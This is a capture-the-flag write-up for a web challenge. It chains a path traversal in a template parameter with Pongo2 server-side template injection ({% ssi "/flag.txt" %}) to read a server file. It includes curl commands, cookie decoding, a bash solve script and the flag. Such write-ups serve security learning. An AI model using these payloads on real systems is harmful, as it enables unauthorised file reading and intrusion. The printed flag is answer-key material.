Challenge URL: http://52.59.124.14:5001/
Category: Web
Vulnerability: Path Traversal + Pongo2 Server-Side Template Injection (SSTI)
Flag: ENO{PONGO2_T3MPl4T3_1NJ3cT1oN_!s_Fun_To00!}
Challenge Description
I wanted to convert my WordPress page into a static website, so I implemented a suitable tool… but can it protect /flag.txt?
The challenge presents a web application that converts WordPress XML exports into static HTML websites using different templates.
Reconnaissance
Application Overview
The web application has the following functionality:
- Upload Endpoint (
/upload) - Accepts WordPress XML files - Generate Endpoint (
/generate) - Generates static HTML using a selected template - Download Endpoint (
/download/example) - Downloads example WordPress XML
Key Observations
-
Template Engine: The application uses Pongo2 (Go templating engine)
- Error messages reveal:
"Error loading Pongo2 template from templates/XXX.html"
- Error messages reveal:
-
Template Path Construction:
- Template parameter:
template=classic - Actual path:
templates/classic.html - The
.htmlsuffix is automatically appended
- Template parameter:
-
Session Management:
- Sessions are stored in a cookie called
wp-session - Cookie contains base64-encoded session data including a session ID and uploaded filename
- Sessions are stored in a cookie called
-
File Storage:
- Uploaded files are stored in
uploads/<session_id>/<filename>.html
- Uploaded files are stored in
Vulnerability Analysis
Vulnerability 1: Path Traversal in Template Parameter
The template parameter is vulnerable to path traversal:
template=../uploads/<session_id>/exploitThis constructs:
templates/../uploads/<session_id>/exploit.htmlWhich resolves to:
uploads/<session_id>/exploit.htmlVulnerability 2: Pongo2 SSTI via Uploaded File
If we can make Pongo2 load our uploaded file as a template, we can execute SSTI payloads.
Pongo2 supports the {% ssi %} tag (Server-Side Include) which reads and outputs file contents:
{% ssi "/flag.txt" %}Exploitation
Step 1: Create Malicious Template
Create a file containing the Pongo2 SSTI payload:
echo '{% ssi "/flag.txt" %}' > /tmp/exploit.htmlStep 2: Upload the Malicious File
Upload the file with .html extension:
curl -s -c /tmp/cookies.txt \ -F 'wordpress_xml=@/tmp/exploit.html;filename=exploit.html' \ http://52.59.124.14:5001/uploadStep 3: Extract Session ID
The session ID is embedded in the wp-session cookie. Decode it:
COOKIE=$(grep wp-session /tmp/cookies.txt | awk '{print $NF}')echo "$COOKIE" | tr '_-' '/+' | base64 -dOutput example:
1770458632|DX8EAQL_gAABEAEQAABr_4AAAgZzdHJpbmcMBAACaWQGc3RyaW5nDCIAIDU2MWQyNmQwMzAwY2NmODIzNjAyYTVlZDQ0ODBlYjgzBnN0cmluZwwPAA11cGxvYWRlZF9maWxlBnN0cmluZwwOAAxleHBsb2l0Lmh0bWw=|...The session ID is base64-encoded within the middle section (after DCIAID). The pattern IDU2MWQyNmQwMzAwY2NmODIzNjAyYTVlZDQ0ODBlYjgz decodes to 561d26d0300ccf823602a5ed4480eb83.
Session ID: 561d26d0300ccf823602a5ed4480eb83
Step 4: Trigger SSTI via Path Traversal
Use path traversal to load the uploaded file as a template:
curl -s -b /tmp/cookies.txt -X POST http://52.59.124.14:5001/generate \ -d "template=../uploads/561d26d0300ccf823602a5ed4480eb83/exploit"Result
The Pongo2 template engine processes {% ssi "/flag.txt" %} and outputs:
ENO{PONGO2_T3MPl4T3_1NJ3cT1oN_!s_Fun_To00!}Solve Script
#!/bin/bashTARGET="${1:-http://52.59.124.14:5001}"
# Create SSTI payloadecho '{% ssi "/flag.txt" %}' > /tmp/exploit.html
# Upload malicious templatecurl -s -c /tmp/cookies.txt \ -F 'wordpress_xml=@/tmp/exploit.html;filename=exploit.html' \ "$TARGET/upload"
# Extract session ID (manual step - decode cookie and find 32-char hex)COOKIE=$(grep wp-session /tmp/cookies.txt | awk '{print $NF}')echo "Decode this cookie to find session ID:"echo "$COOKIE" | tr '_-' '/+' | base64 -decho ""echo "Then run:"echo "curl -s -b /tmp/cookies.txt -X POST $TARGET/generate -d 'template=../uploads/<SESSION_ID>/exploit'"